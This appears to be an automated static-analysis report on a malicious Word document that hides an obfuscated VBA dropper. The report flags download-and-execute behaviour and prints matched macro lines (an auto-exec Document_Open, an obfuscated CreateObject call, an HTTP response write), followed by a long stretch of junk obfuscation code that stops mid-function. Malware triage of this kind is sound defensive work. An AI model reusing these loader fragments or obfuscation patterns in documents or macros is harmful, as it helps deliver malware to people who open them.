Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 83ad10c3b05269a8…

MALICIOUS

Office (OLE)

286.0 KB Created: 2018-06-25 22:23:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 654825f1d82ca1e27d1e97a312d88663 SHA-1: 8615bf3d734833682a9ad2a9196e6c95b0d05d13 SHA-256: 83ad10c3b05269a82c16e5ad69d064967f77d240453eb11514ceff79b006a6c1
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing heavily obfuscated VBA macros. Critical heuristics indicate that these macros are designed to download and execute a file from an HTTP URL, a common dropper behavior. The presence of an auto-exec loader and the ClamAV detection further support this assessment. No specific family could be identified due to the obfuscation.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            Gtfxr = JzuQK.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set vIuZz = CreateObject(kPqJzd("WYSVcCrniwpatZ.BShheeAlzlX"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set vIuZz = CreateObject(kPqJzd("WYSVcCrniwpatZ.BShheeAlzlX"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 101866 bytes
SHA-256: 6b44ca012071fcaf12ffa0212596adf9e17354fb75e6ac418bcbab424c6fad2a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1106 of 1617 identifiers look randomly generated (e.g. 'oysxzVnbxyGlGhywzOazIBgtTujGqEmRasiwbVlT') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub vAnewL(xLNFPz As String, LicClL As Boolean)
    ObMxnU = "FWwB?VI-FAIuy" + "tTNVDspzwe.mbA[DlBf?" + "Z)ZWdS]KCP#[JYC"
    jpfCyx = RTrim("Ksp)a@?b[]N&C")
    jpfCyx = UCase("@&s!cmNwPvcTv$aKWmOk")
    PBkhoBoPA = UCase("M&O?]?WR!g")
    sniWiailvR = "]jRTZnTuwmgmN" + "kMx T n_LR)z" + "aTYZvetOQAy^"
    uIwYPe = 652 - 279 - 221
    sniWiailvR = Space(15)
    jpfCyx = Space(2)
    uIwYPe = UCase("fnUnrj^jHwVoaHHMqsxd")
    sniWiailvR = "tx@@Qerdd[Uxp%V@ " + "NH^CrPWVcaZ[$qLT" + "uqdROGdXmR^wAy"
    ObMxnU = "ruNdm))w#r(X @h" + "%VowB^QYoJLTWH]" + "F^)gxJ)xlY)c"
    tfAzDXRV = Right("ZnLxPTWbv&!z%@&UDvV", 5)
    sniWiailvR = Left("-YNEz^RitTpG", 3)
    uIwYPe = Space(15)
    nVPFomxUAY = Right("i-sKNNoD!ZOH!]aS", 5)
    While ipGdes < 254
        uIwYPe = 1972 + 1456 + 438
        wyfSuaxkXT = "%!X^fgPzQMhF" + "pQ#RYH?_VWPl" + "gqnEB *@L)%!$ksqGD.P"
        PBkhoBoPA = "mY_.FF-]LJX@ " + "eQMfRkneM)unf" + "-qvw$-BsIjAUhMJ"
        KeVfNTceB = "uMtuIXku)SAGt" + "kqlNAOGVgW" + "i]QeL.T^nnHyKn(Xc"
        ExtWkSjHmG = 1187 + 162 + 1694
        sniWiailvR = UCase("dts-Y)Z#oLHLPVo")
        ipGdes = ipGdes + 3
    Wend

    wyfSuaxkXT = Left("!ZrrtSbv QyiK#V@[Fow", 2)
    PBkhoBoPA = Left("yW*(vKv$qE", 3)
    uIwYPe = UCase("Q$lffF?-WUJmX@V^")
    ObMxnU = RTrim(" _nX(^G@-@Zv")
    ObMxnU = 903 - 583 - 1242
    ObMxnU = Space(16)
End Sub

Private Function TrwjFP(GHJKqf As String, Iwrwhl As Boolean) As String
    wyfSuaxkXT = StrReverse("dId-UMw(t@thp]")
    jpfCyx = LTrim("Yx*QJ((AdobPs.bH")
    PBkhoBoPA = Space(8)
    uIwYPe = UCase("[]d %PHFEm-")
    KeVfNTceB = Right("emvj_#-)G^o", 5)
    ExtWkSjHmG = UCase("ZvvVpn)qP&Er hyo")
    ExtWkSjHmG = Left("xVe.aff[@GjVjsG$", 2)
    For OTOngJ = 0 To 356
        uIwYPe = UCase("v^%#nI@!hS-Rzk_PTE_E")
        nVPFomxUAY = 1247 - 757 - 1301
        KeVfNTceB = StrReverse("p&CF)I^WrN?-kfAFv?.P")
        uIwYPe = "bCf#mE_.@yz" + "JA_Z#!xYVwJ.y$Ei" + "CPrsRlloly&N"
        ObMxnU = StrReverse("kTeoHO$a%HNi")
        wyfSuaxkXT = 1194 - 439 - 820
    Next OTOngJ

    ObMxnU = "$IdT?e@vzN" + "]GxdriX&Y- " + "h-cWQbgrRrQjbEQDx"
    sniWiailvR = Space(8)
    For KHYoYV = 0 To 340
        jpfCyx = "pkdyOw)w?XRrMYVnw[" + "SvlpX@vQI_.& Vw_y[t" + "DDrmK%z#-%a]b%W-"
        uIwYPe = "V^uiyD%*^qko" + "KmDq%*bdU-eq!!_Y& D" + "p%!Y$e$#MS&uu."
        ObMxnU = 1858 - 405 - 630
        uIwYPe = 967 - 912 - 537
        ObMxnU = LTrim("Yp.fuk)OTObrCNDpGGI")
        KeVfNTceB = UCase("^VgPFISfgUbwS")
    Next KHYoYV

    sniWiailvR = UCase("-z%i. Ff[DFUl")
    ExtWkSjHmG = RTrim("kSCVDxs)YfspkN($Ow")
    jpfCyx = Space(3)
    KeVfNTceB = LTrim("FYBy@tUExnz-Dr")
    uIwYPe = LTrim("baNDmVGnGTxCqPJV")
    ObMxnU = "$XJKSpGDGcmIMQP_-" + "!agPm&hj^Y!r x(lC" + "v$bZtIS(%IAR*tAHUx-y"
    For PNlTHd = 0 To 75
        jpfCyx = UCase("sC*Lxchz%a")
        sniWiailvR = Left("Bv#Ivsab[#FD", 4)
        uIwYPe = "N$GsHoBOdS]M?x*]ncmM" + "foMx-hJaM#gAfLwbGJmR" + "[xYSf__i@PmCA mnwRq"
        nVPFomxUAY = UCase("j(YdD$?e_%")
        uIwYPe = LTrim("yPY&ok$ON!yg@#*")
        sniWiailvR = Left("u(JHPY]cYC-[ozxaIkz", 2)
        nVPFomxUAY = StrReverse("wqWdcxMp]bXKnv")
        wyfSuaxkXT = LTrim("Gm)*#W_P pvi^")
        KeVfNTceB = Left("G$MjH!WJMP", 3)
        uIwYPe = UCase("Fe$-BgDks#[j[NQCd")
    Next PNlTHd

    PBkhoBoPA = ")*$wJt?jqgq" + "r[MSzECtg!O[rEMXH!" + "%jbzGSxzDZZbkH"
    ObMxnU = Left("]I&L*tOKwvgSJ)aQ", 4)
    PBkhoBoPA = "eIvFWsOKDQgtlao%CL" + "ND!SPX%qZJzgVT$aFBln" + "!VPqJKyzLUA&Tx@@"
    wyfSuaxkXT = "lJ(MnDLpcLa$*S^-U" + "PdyWaBCnEZT@FYIvz" + "XTLP)AYOfM-"
    ObMxnU = RTrim("VSo_d)iurc_#W)?II")
    wyfSuaxkXT = RTrim("JTQ)nW*t#f.Ftj.S")
    KeVfNTceB = UCase("#-)P]nG)YF@c")
    ObMxnU = UCase("vz.IV$rVmg@^Cm[nNX")
    nVPFomxUAY = Right("NnvhFhQDHf", 4)
    PBkhoBoPA = Right("sl@kEnfZxy@.", 5)
    tfAzDXRV = LTrim("e (]]Kmej]cmT")
    ExtWkSjHmG = RTrim("d%u&zCoTy!c")
    sniWiailvR = StrReverse("#^DO@_&!O_bTK")
    ExtWkSjHmG = 1676 + 1670 + 1631
    ObMxnU = Left("Yp#JBU-oC!UqrVHbHEF", 4)
    TrwjFP = "lsocJTqSkczcuMujvjtOUXsprOpnAtMqe"
End Function

Private Function zNKxWX(wBmjop As String, SthuPh As Double, iRkFgB As Boolean) As String
    KeVfNTceB = LTrim("fij CfkZ%O.E@cSE")
    ExtWkSjHmG = StrReverse("VjcOCK]T^GyjN[XTNn")
    PBkhoBoPA = UCase("FUE#!wSeix")
    ObMxnU = UCase("IIbaEueitSnUKe!h(")
    sniWiailvR = "SgZmpx$[aAxIlT%" + "SfdgPudZ!?k$sNd" + "zY-fOCMRdvgv-(Wu .]"
    sniWiailvR = Right("fBgVAZPTaqxHX", 4)
    nVPFomxUAY = Right("YpoW)d%w$T.%?", 2)
    tfAzDXRV = 1911 - 1462 - 1838
    KeVfNTceB = RTrim("!zujy)% *U?")
    jpfCyx = LTrim("Z-sRCfUovlpR?")
    KeVfNTceB = UCase("fDzFRZI?ePjCFIhI")
    tfAzDXRV = StrReverse("hQOhhtVAVP")
    While MZQrVM < 68
        ObMxnU = Right("qZ$SIy)i.whV?Ne_", 2)
        nVPFomxUAY = "FQJATbKI&[lf" + "dW q_P*z-ji$" + "jX)n(Io(nVTSmwAz"
        tfAzDXRV = 433 + 769 + 1355
        wyfSuaxkXT = Right("RUTFjcfuTq", 3)
        PBkhoBoPA = Left("KgYnt%(Fz@^#id", 2)
        KeVfNTceB = Left("-[FI%F#$uHf$t-O", 3)
        tfAzDXRV = LTrim("wdiMn!Eoc]sfmwqA")
        KeVfNTceB = UCase("iIDs*quUn_qj iehdTNG")
        tfAzDXRV = "Lo_)Uu_BYep$$-CB" + "-US$C*FuJl%.ys?bd KP" + "OL%.YEqJmR$sGK["
        jpfCyx = Right("B]?NA-%]hA", 3)
        MZQrVM = MZQrVM + 1
    Wend

    ExtWkSjHmG = "jlVwya#^Xpnw^Sl%C_GD" + "IPHp%QdErp[TN" + "&A^TsFSrjGOh"
    KeVfNTceB = RTrim("zy d#P(JlFwKw.$[")
    wyfSuaxkXT = UCase("nDzOnbe$%oMBIssVOQ")
    sniWiailvR = Left("bTE)f).jAhlK((", 5)
    jpfCyx = Left("f?to)fgChr-fVTx", 5)
    wyfSuaxkXT = Left("NPe_x.IeTszR vzueVMp", 4)
    sniWiailvR = 302 - 1799 - 1412
    While YeTahm < 240
        KeVfNTceB = Space(17)
        wyfSuaxkXT = "jg)XCgf.VhOwFo^" + "[%yim*zrUOId" + "H?F!XZr*HbG"
        wyfSuaxkXT = "cEF[rgW*p_xaTsMmvGkk" + "DtAvvR-h?!C " + "?eD]N dMuDS"
        sniWiailvR = Left("l(#vG&bg-DnLR_re-ym", 4)
        wyfSuaxkXT = Left("Fq FopuCoL", 5)
        tfAzDXRV = UCase("UCsQhhvtK&")
        uIwYPe = StrReverse("QXwoQJ#J!%EkJX")
        tfAzDXRV = "&qyiV[W.GDh" + ")lLIpyJkRT[Y" + "bIr%XCbK$ia"
        YeTahm = YeTahm + 3
    Wend

    PBkhoBoPA = 1009 + 1171 + 1489
    jpfCyx = RTrim("EQ-!pQK*@QoaMQ&N[Fr")
    While GuwWvS < 292
        tfAzDXRV = "JF(NYkjtEx&$!IM_p?" + "y*UxV_B^B]tZ@SBnJMWe" + "vNFIJfvgmdzBy[C)F"
        uIwYPe = RTrim("tOVt&DwrT-%izxM")
        ObMxnU = UCase("c_AFWEAS%RGkM^-sDgZ")
        tfAzDXRV = Space(13)
        sniWiailvR = StrReverse("Q[NAZU^kSJ")
        uIwYPe = StrReverse("aiMK(kDXPxk)kvdqW)if")
        ObMxnU = Right("[.!yO[IiflWwaaJ%", 2)
        tfAzDXRV = 1570 + 1134 + 935
        GuwWvS = GuwWvS + 2
    Wend

    uIwYPe = Left("t@sIFO**i_", 2)
    ExtWkSjHmG = Right(")fwpQ)NQKk", 4)
    KeVfNTceB = Left("cZlJx^boGK%ZtDyx?J", 2)
    tfAzDXRV = Space(3)
    PBkhoBoPA = RTrim("yeW?&XngRF*Sd vM$(Nw")
    wyfSuaxkXT = LTrim("$ FeYd&RF-F[[")
    nVPFomxUAY = RTrim("$.LPiGSPHjxBh")
    KeVfNTceB = "ROVOsvjic^RH" + "yuj^ndUzHX" + "$ELO.mnRzh%rMf"
    sniWiailvR = Right("oZD? &BKOQwR%X?TN", 2)
    nVPFomxUAY = Space(6)
    jpfCyx = 891 - 389 - 1498
    zNKxWX = "npjBTwDHRuSkZoUiGeMjKiZQXQMFcdvtDVm"
End Function

Private Sub uAqKIw(wtaguzz As Integer, lHNipr As String)
    jpfCyx = "UtKumJVwAtdikjAEme" + "LOiVQYRxc#NutamTbs" + "H^LY%QcEDWa^ QQ[-Ef"
    ObMxnU = 1476 - 171 - 1879
    uIwYPe = 1558 + 1554 + 1767
    ObMxnU = Left("(HNPnNiy.__oAz", 4)
    nVPFomxUAY = StrReverse("rwtX^^Q$CNrU")
    ExtWkSjHmG = Left("%?iqThdxnD(oJ??gv", 5)
    PBkhoBoPA = Right("aH#Abp#qDeaMZYhE_? X", 2)
    While iHoFYb < 144
        tfAzDXRV = UCase("AVzZ$m.ygG$xc#Nb-vX")
        jpfCyx = "Lg(O&xZao)Jc%B@" + "WH%-&gdgflSYZY]#C" + ")Tb&I(cBOo^xd"
        iHoFYb = iHoFYb + 1
    Wend

    jpfCyx = Space(5)
    sniWiailvR = 1699 + 294 + 497
    uIwYPe = LTrim("lLbvm-#gvU FAB")
    ObMxnU = "VcyxNDHg-dCg)g )y@G" + "NayA#b&e@muB&TE!cWp" + "N$KVp#Co$[ePiAc.?uOS"
    uIwYPe = RTrim("IOJmvd)s!?kHo")
    tfAzDXRV = "$* ?VEICFpmAkrvXBN " + ".ULmBiY!KEwLC" + "M!t)]]zAPwJautW_a#"
    nVPFomxUAY = 1490 + 1417 + 628
    ExtWkSjHmG = 1044 + 1544 + 266
    uIwYPe = RTrim("K-Zn$awJqVst")
    nVPFomxUAY = 937 + 1546 + 1228
    PBkhoBoPA = 961 + 1445 + 985
    For RyPTQq = 0 To 120
        PBkhoBoPA = Space(11)
        KeVfNTceB = Space(12)
        wyfSuaxkXT = Space(7)
        jpfCyx = LTrim("oOIom?*iXB")
        sniWiailvR = UCase("gdg%rO*oHRV*NGsf(M%Z")
    Next RyPTQq

    tfAzDXRV = "OMna^o#at%" + "v&pNhiBBfyLWYD!@T_" + "a_MxydgYFo"
    ExtWkSjHmG = RTrim("T%rXwG)srOnvwp")
    ExtWkSjHmG = RTrim("OL#rb__D_ZwhmFz")
    KeVfNTceB = 1123 - 1986 - 915
    ObMxnU = LTrim("Wi_mbQVlaf-")
    jpfCyx = UCase("lLXTPe(GLbL")
    sniWiailvR = StrReverse("hNVHnN%jMVB$&oIKh")
    jpfCyx = 1833 + 1298 + 1838
    sniWiailvR = RTrim("jJzq@%Di[GMWMOC?n&Ic")
    nVPFomxUAY = Left("!%V..mO.id&aeWiY ^", 5)
    ObMxnU = UCase("?zHFuOc(.V")
    ObMxnU = LTrim("AdD^hN#yCdVw")
    PBkhoBoPA = LTrim("a)JFDhsOAzuLLv#yBY")
    ObMxnU = StrReverse("e.nK) eTTFvs#uWQC")
    PBkhoBoPA = RTrim("pCtDcKZnuoBH")
    wyfSuaxkXT = Left("$!]XDIe?zI", 4)
    nVPFomxUAY = LTrim("#ukxxxbF.U e")
    ObMxnU = RTrim("MBIN W%bEWSIxwnWoL")
    ObMxnU = StrReverse("lA?f[TUHgHfSqk*(")
    PBkhoBoPA = Left("hnqn&))WF ita", 5)
End Sub

Private Sub YDTxpH(dizKQNn As String, BRXoreH As String)
    For TDpLXB = 0 To 246
        jpfCyx = 1932 + 1621 + 1597
        KeVfNTceB = StrReverse("_yX(E^gtfp nCxXLS*sd")
        wyfSuaxkXT = Left("^NsAV?P*aQ#%F", 4)
    Next TDpLXB

    jpfCyx = Right("X%(YpMicJ?z[", 2)
    For vaSINz = 0 To 295
        sniWiailvR = Left("oRq )_FiM ]FU", 3)
        tfAzDXRV = 1815 - 1422 - 229
        sniWiailvR = 252 + 1485 + 141
        uIwYPe = UCase("Q_kJ!iv?U?j*@K%wPW")
        nVPFomxUAY = LTrim("&F@t]](X^ cSkf")
    Next vaSINz

    ExtWkSjHmG = LTrim("OnVRoJFhImIurdxkdF")
    ObMxnU = UCase("at$RhRhkTh(#BG")
    ExtWkSjHmG = StrReverse("RF*FlHyF@*cVYC")
    PBkhoBoPA = Right("RoG%hvXY)[UvU-", 5)
    tfAzDXRV = StrReverse("UJpOTemmn%qve")
    PBkhoBoPA = RTrim("]Sw.a.jHaGvOEyTm[iO")
    ObMxnU = "dmoO# *[C!k&&SDU" + "d]p@-z.SJ).e" + "V-@ZfWyRRrhK"
    jpfCyx = 1533 - 1968 - 165
    KeVfNTceB = Right("fx#G#L?(t..G-M", 4)
    PBkhoBoPA = Right("ar@-F?OsSJvmXVhJ!", 2)
    ExtWkSjHmG = StrReverse("ednD_&WKZqsTkdL")
    tfAzDXRV = 1850 - 1677 - 212
    ObMxnU = Space(11)
    ExtWkSjHmG = Space(15)
    jpfCyx = Right(".mRHl[&QaSz_-.z)", 2)
    nVPFomxUAY = Right("!-x&wAf)Q]$_NS$KeQiH", 2)
    ObMxnU = Right("XOlv@Lbyo%zH$]swtHe", 3)
    wyfSuaxkXT = Space(2)
    uIwYPe = 1147 + 1678 + 226
    nVPFomxUAY = 438 + 186 + 686
    nVPFomxUAY = Space(5)
    jpfCyx = Left(".rtTUOK!MkDPN", 2)
End Sub

Private Sub tXYvkc(OpNkUBs As Boolean, qZUmCJ As Double)
    PBkhoBoPA = UCase("fOSvz$S]mKu[m$fF")
    uIwYPe = StrReverse("juJ##brXHO^k)")
    wyfSuaxkXT = StrReverse("YuM-AC-cVGHfkeTHK")
    tfAzDXRV = RTrim("Rg.DWbbxbM")
    ExtWkSjHmG = Left("fv)PQBlowrnBMg]Z$", 2)
    sniWiailvR = 125 - 839 - 1012
    jpfCyx = 1870 - 146 - 637
    uIwYPe = 1875 - 319 - 1959
    While VGNWeh < 201
        jpfCyx = ".CpVuFE&AcQfnAkF!k*" + "hSMPFRBCO*ux#N" + "nXK#MNnCph-[W"
        nVPFomxUAY = 1909 - 351 - 947
        VGNWeh = VGNWeh + 2
    Wend

    PBkhoBoPA = Space(20)
    ExtWkSjHmG = Space(6)
    While fkLbHC < 62
        ObMxnU = UCase("(gtq)Fi[ta%M?T")
        jpfCyx = Space(12)
        KeVfNTceB = "EUiYCSUj&yh*p.z&" + ".flgx$lF?d[&ACab_E" + "e!%OQ%!Z#uJ"
        wyfSuaxkXT = Space(10)
        ExtWkSjHmG = 1358 + 360 + 1681
        ExtWkSjHmG = 1569 + 1141 + 1921
        sniWiailvR = "(ZHNd)q%^gVH" + "EW$DT^]^*Z(hE#* " + "vqVmsI)QGuG"
        ExtWkSjHmG = StrReverse("IJ%T)m#Z$vxiv")
        PBkhoBoPA = RTrim("gE)Lw%b(F-BS")
        KeVfNTceB = Left("cVfSJUmZU%U", 3)
        fkLbHC = fkLbHC + 3
    Wend

    For JrYTZc = 0 To 77
        ExtWkSjHmG = "gmL@#YdneG$.P*yA" + "^ncBo[RcMGjZF" + "J?-_U%ke]ztXvTqVoiWK"
        KeVfNTceB = LTrim("Cx-xQKBNxfS")
        nVPFomxUAY = Space(7)
    Next JrYTZc

    KeVfNTceB = 129 - 742 - 115
    tfAzDXRV = UCase("szimgEDuamGs!X")
    ObMxnU = Space(2)
    tfAzDXRV = 1589 + 667 + 784
    KeVfNTceB = Space(8)
    ExtWkSjHmG = UCase("pBiY%IyieQGQImz")
    While hUpmVn < 393
        wyfSuaxkXT = 1865 - 1115 - 1287
        KeVfNTceB = StrReverse("A(I$xHrEolR")
        sniWiailvR = 745 - 876 - 1224
        jpfCyx = Space(18)
        tfAzDXRV = UCase("WV&LNC%gl-k")
        PBkhoBoPA = LTrim("_a_ RMP(_T)#dg")
        ObMxnU = 1205 - 467 - 1755
        tfAzDXRV = StrReverse("PTTfnDf]$AQHQ)P^")
        hUpmVn = hUpmVn + 2
    Wend

    ObMxnU = UCase("PMmzx#zGf]suhtex")
    PBkhoBoPA = StrReverse("pmTKh-LTzSYW")
    sniWiailvR = UCase("AvnD*s GJ-fh")
    ObMxnU = 1676 + 829 + 334
    For WXDDtU = 0 To 151
        ExtWkSjHmG = Space(16)
        tfAzDXRV = StrReverse("&WOpe^#N[.jSRcdpw")
        wyfSuaxkXT = 456 + 1303 + 312
        ObMxnU = RTrim("xYyD[Q[a#Ra")
        nVPFomxUAY = Left(" .bi(zcL[BDUuNb", 4)
        nVPFomxUAY = "Z)(Hb?_Inxl&xP" + "*rP]A-IE.s" + "CfvUo[n[[.(tHHC$oZ]U"
        uIwYPe = LTrim("@HuCwRYRAq.")
    Next WXDDtU

    While lvzPsS < 267
        nVPFomxUAY = Right("tELxK-.m $CQM^%q", 4)
        uIwYPe = LTrim("DX y@_$#k#g")
        ExtWkSjHmG = Space(20)
        lvzPsS = lvzPsS + 3
    Wend

    tfAzDXRV = Right("%cJ ktruWwPK^", 2)
    KeVfNTceB = Left("Z%PT)bbt&Wk@sahO]E-", 5)
    ObMxnU = UCase("o)JtW#E-[xhGH(Np!Y")
    sniWiailvR = 308 - 883 - 1263
    jpfCyx = RTrim("bMC@uk.Kf]azkEDjG.U")
    uIwYPe = LTrim("r%y*U$B$_NS%CaJ%jdmY")
    ExtWkSjHmG = LTrim("]L$@TfeOSTqg[CBVpc#u")
    tfAzDXRV = Space(17)
    KeVfNTceB = Right("ConmlLrf@iHyzU)xV Xi", 5)
    tfAzDXRV = Left("k(s!C&#v&Ev", 4)
    jpfCyx = StrReverse("Cr#!NSB$)LIe!jn$u%")
    uIwYPe = 1771 + 1947 + 1051
End Sub

Private Sub lwFkEu(QHDuebG As Boolean)
    nVPFomxUAY = LTrim("A#]?)rPN*%")
    ExtWkSjHmG = 1846 - 1489 - 1564
    wyfSuaxkXT = 141 + 1602 + 263
    wyfSuaxkXT = StrReverse("SbbrYr!W!m")
    KeVfNTceB = Space(14)
    PBkhoBoPA = RTrim("UpXKW!n-))mW")
    While DLynNk < 373
        tfAzDXRV = "IYbOmNZi?AH#lXy" + "X-jURd#xQYhP." + "joPsXgopJ].zM"
        uIwYPe = Right("fvWsueoHQios#.?.", 2)
        ExtWkSjHmG = Space(10)
        DLynNk = DLynNk + 3
    Wend

    For KxcEME = 0 To 353
        wyfSuaxkXT = StrReverse("PKqrAUDnOAW")
        nVPFomxUAY = Right("zlB[owmRi%s.*hA[MQr?", 3)
        nVPFomxUAY = LTrim("KuAuN[l(w*v")
    Next KxcEME

    ExtWkSjHmG = Space(9)
    ExtWkSjHmG = Space(3)
    KeVfNTceB = 1274 - 596 - 416
    tfAzDXRV = 1761 + 859 + 1843
    jpfCyx = LTrim("g]dL_al(*(cAqYxVN)_")
    While DIjmol < 333
        sniWiailvR = 1574 - 1539 - 1808
        nVPFomxUAY = StrReverse("%.%(wla-ec")
        PBkhoBoPA = LTrim(".bUBVQRFKqg*WnZ!LC")
        ObMxnU = Right("VWNfIP-Fq.", 3)
        PBkhoBoPA = 1681 - 1488 - 1388
        ExtWkSjHmG = 1668 - 1753 - 1993
        jpfCyx = StrReverse("&Ag_ibg*s%WpX")
        ObMxnU = "GmK_cZMc*m (&Z" + "aIBGJpRix&rr!o?Vm" + "yz*FcIby.D&]ly"
        tfAzDXRV = Right("*SH&HnDsuAsy", 5)
        nVPFomxUAY = LTrim("KlpIgp]QMcVgWPs[")
        DIjmol = DIjmol + 2
    Wend

    jpfCyx = RTrim("S.bYNbTH)J")
    nVPFomxUAY = 1088 + 1577 + 518
    PBkhoBoPA = LTrim("GXXxh[[(K]")
    sniWiailvR = LTrim("pK#HrG[]Y ")
    sniWiailvR = 612 + 996 + 1849
    wyfSuaxkXT = Left("Y@JE@VRcObItGh^&EjXS", 2)
    PBkhoBoPA = 1587 - 1551 - 661
    For lCZyeE = 0 To 323
        PBkhoBoPA = LTrim("C&wVAWfVuHgU[EM)Ck.]")
        ObMxnU = "^KX^VEs]jNj^&jBi[u" + "pOLCmkqFND]lA" + "XhtsJg#-k)"
        uIwYPe = Right("oxUW^^l)Ul[v", 3)
        nVPFomxUAY = 295 - 1562 - 1073
        PBkhoBoPA = Right("KblnS-qnZEglzCpGiAg", 3)
        ObMxnU = StrReverse("uk(AjXcWLSSjSPj)$!i[")
        jpfCyx = "DXj)$AGaSZYdkNV" + "XZL#Hn_$t!" + "GS&Y#]RBKER"
    Next lCZyeE

    wyfSuaxkXT = "PC]S?.At%(qUN@q$qO" + "TjRrwwcRe&" + " XzO)aFNYiXp%!aqau#L"
    sniWiailvR = "PpUXyM@CaRSvQ_]" + "*axZFXxEjmwIF#OLZ" + "GM@tjB-dEJnFO-P  _D"
    uIwYPe = RTrim("OjBBIMKjiZyd")
    sniWiailvR = 962 - 571 - 632
    KeVfNTceB = 1686 - 490 - 521
    PBkhoBoPA = StrReverse("HlRJw?W%c]")
End Sub

Private Function AANYSo(YTVnuBE As String, dNqmMM As Double, rHZCuW As Double, qrtMWH As Integer, ksVXNB As Boolean) As String
    ObMxnU = StrReverse("sUC!jD $jdYEIrh.pY")
    ExtWkSjHmG = 816 + 180 + 793
    For hLHZMP = 0 To 291
        PBkhoBoPA = LTrim("FEF_!-m[N%GPDKx]NsDg")
        tfAzDXRV = RTrim("#pzibcmTz(ul(mtx-MVP")
        nVPFomxUAY = StrReverse("A!ze%wfR^ e[*G")
        ObMxnU = Right("d^Z*uBt]&nL xBwR", 3)
        ExtWkSjHmG = Right("gjngtNlAk)e?I[HXx", 2)
        sniWiailvR = StrReverse("XxESw.BQ^^YVweO)")
        tfAzDXRV = Space(7)
    Next hLHZMP

    KeVfNTceB = StrReverse("VLn]$FWQJUJ")
    uIwYPe = 1146 + 204 + 1258
    While mUpQnU < 282
        tfAzDXRV = UCase("Ul[$VcWKDpHAP.hmSu")
        wyfSuaxkXT = LTrim("UO!k)di_aaDFvSC")
        uIwYPe = Left("hBG ?n)%qXYMOpg.dL", 5)
        jpfCyx = Right("(*trrni[EByKVA", 4)
        mUpQnU = mUpQnU + 2
    Wend

    While GVlmAB < 20
        wyfSuaxkXT = RTrim("eaM$iz^fz]")
        ObMxnU = Right("wDSnGCMurDBTiO)a", 3)
        ExtWkSjHmG = UCase("O aWAfZsK@JD[i.s!?l")
        tfAzDXRV = UCase("zS?]-W-g W&N")
        ExtWkSjHmG = "p)$gTUEaSvX#" + "@K.wxZsoKbV" + "tCaZ#itl(HSCBvt"
        tfAzDXRV = LTrim("gGQNYrmxW@Rmv]")
        nVPFomxUAY = Left("F]OSy*lNWB", 4)
        uIwYPe = RTrim("Gsadm.d-Js]%*DSv_")
        GVlmAB = GVlmAB + 1
    Wend

    uIwYPe = Left("Mskv.BKHJC#Vh^rmw", 2)
    sniWiailvR = Space(3)
    sniWiailvR = LTrim("lp(I!cMvQ@ZAQ)Js")
    KeVfNTceB = RTrim("MUn)F*cVQ[Nbj^")
    tfAzDXRV = "QZAvMiIxS_" + "C%(rpOMtsi(iLV" + "hpbhh&CwKWuc^"
    KeVfNTceB = RTrim("_@T_xnZfHV")
    ExtWkSjHmG = 996 - 945 - 1694
    KeVfNTceB = StrReverse("XZm#)CVWzt")
    PBkhoBoPA = 1873 - 561 - 1960
    While JAFbxV < 321
        jpfCyx = Space(4)
        ObMxnU = 145 + 370 + 1864
        sniWiailvR = Space(10)
        jpfCyx = Space(15)
        nVPFomxUAY = "!kSm(KHZ-W]qk" + "uOF@dbVZ^WcR)" + "[OCu&IPyh%d #bfiDZ"
        nVPFomxUAY = "v aF_pr?g^$%T^" + "BM(eZcllT-ql^lQT" + "EX?$Cwsu#k"
        ExtWkSjHmG = Right("#SF?sZ*k(]^dTW", 2)
        JAFbxV = JAFbxV + 3
    Wend

    jpfCyx = Right("PpSMsqi[[L", 3)
    wyfSuaxkXT = StrReverse("uiBP%$kMeO^WFJFP")
    sniWiailvR = "?%[AB-iJ&R" + "[yfLJ*m[NZMS%_*g" + "!eHh$?Y_EOrKFct"
    KeVfNTceB = 1301 + 1393 + 794
    sniWiailvR = "!@]bkCCKUa^MG!" + "NuunM_OlNrqDr?-" + "vFIM?l*riu"
    jpfCyx = LTrim("EouOsoNQWYiv)x_uw-sO")
    sniWiailvR = RTrim("[lBB_eqQOFe)")
    PBkhoBoPA = Left("?iySZT-jsbCwKDQyY*d%", 2)
    KeVfNTceB = Space(13)
